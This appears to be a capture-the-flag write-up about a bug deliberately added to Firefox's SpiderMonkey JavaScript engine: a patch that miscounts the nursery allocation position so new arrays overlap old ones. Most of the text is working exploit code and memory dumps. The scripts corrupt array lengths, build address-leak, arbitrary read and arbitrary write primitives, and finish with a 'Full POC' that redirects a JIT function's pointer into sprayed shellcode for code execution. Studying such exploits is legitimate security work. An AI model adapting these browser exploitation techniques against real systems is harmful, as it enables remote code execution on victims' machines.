# Patch
```
From 9b75f0de94978a681682cf13d392b0db7fa4161a Mon Sep 17 00:00:00 2001
From: Your Name <you@example.com>
Date: Thu, 17 Feb 2022 16:09:17 +0000
Subject: [PATCH] Cool new Implementation
---
js/src/gc/Nursery.cpp | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/js/src/gc/Nursery.cpp b/js/src/gc/Nursery.cpp
index ef75e814ed..59ac8e5872 100644
--- a/js/src/gc/Nursery.cpp
+++ b/js/src/gc/Nursery.cpp
@@ -701,12 +701,14 @@ void* js::Nursery::reallocateBuffer(Zone* zone, Cell* cell, void* oldBuffer,
return newBuffer;
}
+ void* newBuffer = allocateBuffer(zone, newBytes);
+
// The nursery cannot make use of the returned slots data.
if (newBytes < oldBytes) {
+ position_ -= oldBytes;
return oldBuffer;
}
- void* newBuffer = allocateBuffer(zone, newBytes);
if (newBuffer) {
PodCopy((uint8_t*)newBuffer, (uint8_t*)oldBuffer, oldBytes);
}
--
2.20.1
```
# Understanding the patch
The patch is in `js::Nursery::reallocateBuffer`. In order to understand how to hit this code, I fuzzed the spidermonkey a little. After fuzzing, I found out that this code is used when reallocating an array, for example by shortening its length. The main patched code is:
```
+ void* newBuffer = allocateBuffer(zone, newBytes);
+
// The nursery cannot make use of the returned slots data.
if (newBytes < oldBytes) {
+ position_ -= oldBytes;
return oldBuffer;
}
- void* newBuffer = allocateBuffer(zone, newBytes);
```
A `newBuffer` is brought forward the if branch and allocated. In the `if branch` where `newBytes < oldBytes`, it will always return `oldbuffer`. This kind of makes sense because if the `oldbuffer` is larger than the `newbuffer` (the new array size is smaller than the old array size), there is enough space for the new array. Hence there is no need to reallocate and use a `newbuffer` for it.
The patch also decreases this `position` value, and it is probably something that is used for allocation for other buffers. Looking around this file, I understand that position is used in `js::nursery::allocate` and it is returned as the allocated address. For example when we allocate a new buffer, it will hit `js::nursery::allocate` and the `position` value is returned as its address. You can refer to the appendix section at the end on `Where is position used` if interested.
# The bug
The `position` value is decreased by the size of the `oldbytes`, but the `newbuffer` allocated is actually smaller than that!
This is the exploitation scenario I imagine:
1) Allocate `buffer_a` of 0x50.
2) Resize `buffer_a` to a smaller size. This will cause the `position` to decrease by the oldbytes.
3) Allocate `buffer_b` and hope it lands within `buffer_a`.
With some trial and error and more arrays initialized, the above scenario is possible! Below is a very simple POC
## Simple POC with Comments
Note that the heap layout differs a little across revision and across local and remote. Refer to the `Simple Remote POC` if you just want a working copy, else it will be a good exercise to write it yourself.
```
array_vuln = new Array(0x50);
array_vuln[0x50] = 1;
OOB_Array = new Array(0x50);
//[1] initialize this array
OOB_Array[0x4F] = 1.1;
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
//[2] repeatedly trigger the bug
for (var i = 0x50; i > 2; i--){
array_vuln.length = i;
}
//[3] corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);
//[4] now OOB_Array[1] controls corrupted_array3
var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));
//[5] corrupt corrupted_array3's length and capacity
OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));
//[6] Continue exploit with corrupted_array3!
/*
...
*/
```
Added the comments to the POC. I will put some diagrams here. Running the above gives me this:
```
Starting javascript!
Addr of array: 7cb3a100e58
Addr of array_vuln: 7cb3a100798
Addr of array_vuln: 7cb3a100798
Addr of OOB_Array: 7cb3a100e58
Addr of corrupted_array2: 7cb3a100e08
Addr of corrupted_array3: 7cb3a100e88
corrupted_array3_elem_ptr = 7cb3a100eb0
Corrupted_array3.length = 41414141
js>
```
We are only concerned with `OOB_Array` and `corrupted_array3`.

`Corrupted_array3` is actually within `OOB_Array`!
```
000007cb3a100e58 00002bde41d68220 ---> OOB_Array
000007cb3a100e60 000007cb3a101128
000007cb3a100e68 000007cb3a100e90 ---> element pointer (points to the start of the array)
000007cb3a100e70 0000000000000001 ---> OOB_Array's capacity (i think?)
000007cb3a100e78 0000005000000000 ---> OOB_Array's length
000007cb3a100e80 0000021c00c32ff0
000007cb3a100e88 00002bde41d60ec0 ---> corrupted_array3
000007cb3a100e90 00007ff6421424a8
000007cb3a100e98 000007cb3a100eb0
000007cb3a100ea0 4141414141414141 ---> corrupted_array3's capacity and also OOB_Array[2]
000007cb3a100ea8 4141414141414141 ---> corrupted_array3's length and also OOB_Array[3]
000007cb3a100eb0 fffa800000000000
000007cb3a100eb8 fffa800000000000
000007cb3a100ec0 fffa800000000000
000007cb3a100ec8 fffa800000000000
000007cb3a100ed0 fffa800000000000
000007cb3a100ed8 fffa800000000000
000007cb3a100ee0 fffa800000000000
000007cb3a100ee8 fffa800000000000
000007cb3a100ef0 fffa800000000000
000007cb3a100ef8 fffa800000000000
```
### Simple POC [2]
Because of some heap stuff (which i am lazy to adjust), this is actually the simple poc that works.
```
function addrof(obj){
return (objectAddress(obj));
}
array_vuln = new Array(0x50);
array_vuln[0x50] = 1;
OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1; //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));
for (var i = 0x50; i > 2; i--){
array_vuln.length = i;
}
//corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);
console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
//helper arrays
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));
OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));
```
# Simple Remote POC
```
function addrof(obj){
return (objectAddress(obj));
}
array_vuln = new Array(0x50);
array_vuln2 = new ArrayBuffer(0x50);
console.log("Readjusting 1");
array_vuln[0x50] = 1;
OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1; //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));
for (var i = 0x50; i > 2; i--){
array_vuln.length = i;
array_vuln2.length = i;
}
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);
target_uint32arr = new BigUint64Array(0x138);
target_dv = new DataView(target_uint32arr.buffer);
target_dv.setBigUint64(0,0x4141414141414141n);
target_dv.setBigUint64(8,0x4141414141414141n);
console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of array_vuln2: " +addrof(array_vuln2));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));
console.log("Addr of target_uint32arr: " +addrof(target_uint32arr));
console.log("Addr of target_dv: " +addrof(target_dv));
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var corrupted_array2_elem_ptr = ftoi(OOB_Array[5]);
console.log("corrupted_array2_elem_ptr = " +corrupted_array2_elem_ptr.toString(16));
OOB_Array[6] = itof(0x4141414141414141n);
OOB_Array[7] = itof(0x4141414141414141n);
console.log("Corrupted_array2.length = " +(corrupted_array2.length).toString(16));
```
# What's next?
Once you got an corrupted_array with crazy length, the rest of the exploitation is simple. Below are some really good references:
1) https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/
2) https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
In order to extend our primitives, I initialize a TypedArray and control its element pointer. `https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#the-vulnerability` already explained it pretty well.
For references below, `corrupted_array3` is the out-of-bound array that can control everything, and `target_dv` is the dataview of the TypedArray.
With that done, we can get all our necessary primitives:
1) Addrof primitive (written as `real_addrof` in exploit)
- Technically, we shouldn't have access to spidermonkey builtin `objectAddress` command. So we need a addrof primitive that gives us the address of an object.
- This is achieved by putting the object you are interested in at `corrupted_array3[0]`.
- Use `corrupted_array3` to overwrite element pointer of `target_dv` to point to `corrupted_array3[0]`
- Read from `target_dv` which will read the object
2) Arbitrary read primitive (written as `arb_read` in exploit)
- Overwrite `target_dv` element pointer to the address we want to read
- Read from `target_dv`
3) Arbitrary write primitive (written as `arb_write` in exploit)
- Overwrite `target_dv` element pointer to the address we want to write
- Write from `target_dv`
After achieving all the primitives above, use `BYOG` technique (refer to maxsploit writeup) and get code execution!
# Full POC that works on Windows
Not sure if the POC is revision specific, but if it does not work, refer to my revisions in the Appendix.
```
function shellcode(){
//find_me = 5.40900888e-315; // 0x41414141 in memory
find_me = 2261634.5098039214;
A = -6.828527034422786e-229; // 0x9090909090909090
B = -6.82852703442287383018567816223E-229;
C = -6.82852703444536928239411262655E-229;
D = -6.82852704020420504775333549305E-229;
E = -6.82852851446616097971438931699E-229;
F = -6.82890592552687956174416824491E-229;
G = -6.92552315707083656136757379246E-229;
//B = 8.568532312320605e+170;
//C = 1.4813365150669252e+248;
//D = -6.032447120847604e-264;
//E = -6.0391189260385385e-264;
//F = 1.0842822352493598e-25;
//G = 9.241363425014362e+44;
//H = 2.2104256869204514e+40;
//I = 2.4929675059396527e+40;
//J = 3.2459699498717e-310;
//K = 1.637926e-318;
}
for(i = 0;i < 0x5000; i++) shellcode();
console.log("Starting javascript!");
function addrof(obj){
return (objectAddress(obj));
}
array_vuln = new Array(0x50);
array_vuln[0x50] = 1;
OOB_Array = new Array(0x50);
OOB_Array[0x4F] = 1.1; //initialize this guy value
OOB_Array.a = 1.1;
OOB_Array.b = 1.1;
console.log("Addr of array: " +addrof(OOB_Array));
console.log("Addr of array_vuln: " +addrof(array_vuln));
for (var i = 0x50; i > 2; i--){
array_vuln.length = i;
}
//corrupted_array2 and corrupted_array3 will end up within OOB_Array element area
corrupted_array2 = new Array(10);
corrupted_array3 = new Array(10);
console.log("Addr of array_vuln: " +addrof(array_vuln));
console.log("Addr of OOB_Array: " +addrof(OOB_Array));
console.log("Addr of corrupted_array2: " +addrof(corrupted_array2));
console.log("Addr of corrupted_array3: " +addrof(corrupted_array3));
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
//for (var i = 0; i < 0x10; i++){
// console.log("OOB_Array's leak: " +(ftoi(OOB_Array[i]).toString(16)));
//}
//Modifying OOB_Array[3] will corrupt corrupted_array3's length
var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]);
console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16));
OOB_Array[2] = itof(0x4141414141414141n);
OOB_Array[3] = itof(0x4141414141414141n);
console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16));
var victimBuf = new ArrayBuffer(8);
target_uint32arr = new BigUint64Array(0x137);
target_dv = new DataView(target_uint32arr.buffer);
target_dv.setBigUint64(0,0x4141414141414141n);
target_dv.setBigUint64(8,0x4141414141414141n);
console.log("Addr of target_uint32arr: " +addrof(target_uint32arr));
console.log("Addr of target_dv: " +addrof(target_dv));
for (var i = 0; i < 0x200; i++){
//console.log((ftoi(corrupted_array3[i])).toString(16));
if(((ftoi(corrupted_array3[i])).toString(16)) == "137"){
idx = i;
console.log("Found array buffer @ corrupted_array3[" ,idx,"]");
break;
}
}
var victimBuf_elem_ptr_idx = idx + 2
var original_victimBuf_elem_ptr = ftoi(corrupted_array3[victimBuf_elem_ptr_idx]);
console.log("original_victimBuf_elem_ptr = " +original_victimBuf_elem_ptr.toString(16));
for (var i = victimBuf_elem_ptr_idx+2; i < 0x200; i++){
//console.log((ftoi(corrupted_array3[i])).toString(16));
if(((ftoi(corrupted_array3[i])).toString(16)) == original_victimBuf_elem_ptr.toString(16)){
new_idx = i;
console.log("Found data view @ corrupted_array3[" ,new_idx,"]");
break;
}
}
function real_addrof(obj){
corrupted_array3[0] = obj;
corrupted_array3[new_idx] = itof(corrupted_array3_elem_ptr);
var address = target_dv.getBigUint64(0,true);
corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
return address;
}
function arb_read(addr){
corrupted_array3[new_idx] = itof(addr);
var content = target_dv.getBigUint64(0,true);
corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
return content;
}
function arb_write(addr, value){
corrupted_array3[new_idx] = itof(addr);
var content = target_dv.setBigUint64(0, value, true);
corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr);
return content;
}
var obj = {};
var obj_addr = real_addrof(obj) & 0x0000FFFFFFFFFFFFn;
console.log("Obj address = ", obj_addr.toString(16));
shellcode_addr = real_addrof(shellcode) & 0x0000FFFFFFFFFFFFn;
console.log("[+] Function is at: " + shellcode_addr.toString(16));
jitinfo = arb_read((shellcode_addr + 0x28n)); // JSFunction.u.native.extra.jitInfo_
console.log("[+] jitinfo: " + jitinfo.toString(16));
rx_region = arb_read((jitinfo)); // rx
console.log("[+] rx_region: " + rx_region.toString(16));
for (var i = 0; i < 0x800; i = i + 8){
data = arb_read(rx_region + BigInt(i));
if (data == 0x4141414141414141n){
console.log("Found nop sled @ " ,(rx_region + BigInt(i)).toString(16));
nop_sled_addr = rx_region + BigInt(i+8);
break;
}
}
arb_write(jitinfo, nop_sled_addr);
console.log("[*] Triggering...")
shellcode();
```
# Appendix
## Where is position used?
```
inline void* js::Nursery::allocate(size_t size) {
MOZ_ASSERT(isEnabled());
MOZ_ASSERT(!JS::RuntimeHeapIsBusy());
MOZ_ASSERT(CurrentThreadCanAccessRuntime(runtime()));
MOZ_ASSERT_IF(currentChunk_ == currentStartChunk_,
position() >= currentStartPosition_);
MOZ_ASSERT(position() % CellAlignBytes == 0);
MOZ_ASSERT(size % CellAlignBytes == 0);
#ifdef JS_GC_ZEAL
if (gc->hasZealMode(ZealMode::CheckNursery)) {
size += sizeof(Canary);
}
#endif
if (MOZ_UNLIKELY(currentEnd() < position() + size)) {
return moveToNextChunkAndAllocate(size);
}
void* thing = (void*)position();
printf("Allocate: old position = %p\n", position_);
position_ = position() + size;
printf("Allocate: new position = %p\n", position_);
// We count this regardless of the profiler's state, assuming that it costs
// just as much to count it, as to check the profiler's state and decide not
// to count it.
stats().noteNurseryAlloc();
DebugOnlyPoison(thing, JS_ALLOCATED_NURSERY_PATTERN, size,
MemCheckKind::MakeUndefined);
#ifdef JS_GC_ZEAL
if (gc->hasZealMode(ZealMode::CheckNursery)) {
writeCanary(position() - sizeof(Canary));
}
#endif
return thing;
}
```
Position is used in `js::Nursery::Allocate`. It is essentially the starting point of where the heap is.
## The revision it works
```
$ hg log
changeset: 694484:d0771d3e5261
bookmark: autoland
tag: tip
user: Thomas Wisniewski <twisniewski@mozilla.com>
date: Tue Jun 21 12:36:18 2022 +0000
summary: Bug 1775126 - fix a structured-cloning failure in the webcompat report-site-issue feature, and update and re-enable its tests; r=denschub,webcompat-reviewers
changeset: 694483:60e7202282a8
user: Timothy Nikkel <tnikkel@gmail.com>
date: Tue Jun 21 11:46:07 2022 +0000
summary: Bug 1775237. Let progressive background images ride the trains. r=aosmond
```